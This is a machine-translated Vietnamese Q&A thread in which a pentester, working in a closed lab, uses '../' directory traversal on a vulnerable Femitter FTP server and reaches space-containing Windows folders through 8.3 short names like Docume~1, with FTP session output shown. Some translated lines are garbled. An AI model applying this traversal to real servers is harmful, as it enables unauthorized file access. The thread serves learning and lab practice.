Thư mục FTP tấn công ngang qua các thư mục chứa khoảng trắng


15

Tôi đang tiến hành một pentest bị xử phạt trong một môi trường tham chiếu kín, và đấu tranh với một vấn đề có vẻ đơn giản, hiện tại tôi không thể giải quyết.

Khi cố gắng thực hiện một cuộc tấn công ngang qua thư mục đối với máy chủ FTP Fermitter dễ bị tổn thương chạy trên MS Windows OS, có thể thực hiện LIST trên root hệ thống (địa chỉ và danh sách nội dung được thay đổi ở đây chỉ để tham khảo):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Tuy nhiên, nếu tôi muốn liệt kê nội dung của một thư mục chứa các khoảng trắng như Documents and settings, tôi không thể liệt kê nội dung thư mục vì các khoảng trắng bị bỏ qua.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Tôi đã thử sử dụng các máy khách FTP khác nhau (CLI và GUI, trên Linux và Windows) và chúng bỏ qua khoảng trắng hoặc không cho phép truyền tải thư mục.

Cũng đã thử kịch bản tấn công vào Python bằng cách sử dụng các ổ cắm thô đầu tiên và sau đó ftplib để gửi các lệnh ở định dạng HEX trực tiếp đến máy chủ FTP, nhưng không thành công.

Googling trong vài giờ không mang lại giải pháp làm việc (vâng, có rất nhiều lựa chọn, không hoạt động), đó là lý do tại sao có một người nào đó ở đây, người có cùng một vấn đề. Khá chắc chắn, rằng đây không phải là lần đầu tiên một thư mục ngang với các khoảng trắng là cần thiết.


Độ nhạy trường hợp có vẻ không liên quan cho các máy khách FTP. Ít nhất là máy khách FTP GNU / Linux liệt kê các thư mục bỏ qua trường hợp chữ cái.

@lockout: phân biệt chữ hoa chữ thường là thứ phụ của máy chủ chứ không phải thứ của máy khách. Các máy khách liệt kê dữ liệu giống như cách máy chủ gửi nó và không thay đổi trường hợp.
Steffen Ullrich

1
Đồng thời cho C: \ Docume ~ 1 \ thử.
Chó ăn mèo thế giới

1
Hãy thử thoát khỏi khoảng trắng bằng \hoặc trích dẫn chuỗi thư mục
DavidPostill

1
Tôi rất vui vì nó đã làm việc cho bạn @lockout. Vì bạn đã trải qua những rắc rối khi trả lời câu hỏi của mình, nên tôi chấp nhận nó là câu trả lời. Cảm ơn đã tín nhiệm tôi.
Chó ăn mèo thế giới

Câu trả lời:


16

Giải pháp được đề xuất bởi @Dogeatcatworld để sử dụng ký hiệu ngắn của thư mục MS Windows, chẳng hạn như C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Bài viết thực sự hay từ MS Knowledge Base giải thích ký hiệu thư mục 8.3: Cách Windows tạo tên tệp 8.3 từ tên tệp dài


2
Tôi thấy OSCP. Để thêm vào mẹo của bạn, đối với các thư mục ngắn, chẳng hạn như "Tất cả người dùng", hãy bỏ khoảng trống và sử dụng "AllUse ~ 1". Bạn đã tìm được cách gắn kết FTP để duyệt tương tác chưa, hoặc cuối cùng bạn đã tải xuống từng tệp một.
n00b

1

"Tên viết tắt" thực sự là quy ước đặt tên DOS 8.3 cũ, vì vậy tất cả các thư mục sẽ là 6 chữ cái đầu tiên theo sau ~ 1 giả sử chỉ có một tên trùng khớp, ví dụ:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG
TÔI LÀ GIÁM ĐỐC C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Một thư mục khác

Đây là ngoại lệ duy nhất:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG TÔI LÀ GIÁM ĐỐC
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Thư mục

Nguồn: Làm thế nào tôi có thể tìm thấy đường dẫn ngắn của thư mục / tệp Windows?


0

Ftp không sử dụng mã hóa url, vì vậy% xx sẽ không hoạt động trừ khi bạn sử dụng ftp trong trình duyệt có thể dịch nó cho bạn.

Thay vào đó, hãy thử sử dụng dấu ngoặc kép, ví dụ: ls "../../some dir"


1
HI, nếu bạn nhìn vào các nỗ lực đã thử đối với thư mục, bạn sẽ thấy tôi đã thử nhiều trích dẫn: trích dẫn đơn, trích dẫn kép và đánh dấu lại. Chúng không hoạt động, như được trình bày trong danh sách đầu ra FTP. Sử dụng% 20 chỉ để thử nghiệm nếu điều đó có hiệu quả, vì những nỗ lực tuyệt vọng để thử tất cả các tùy chọn. Tất nhiên% mã hóa hoạt động trên trình duyệt và máy khách FTP có thể diễn giải chúng.
khóa
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.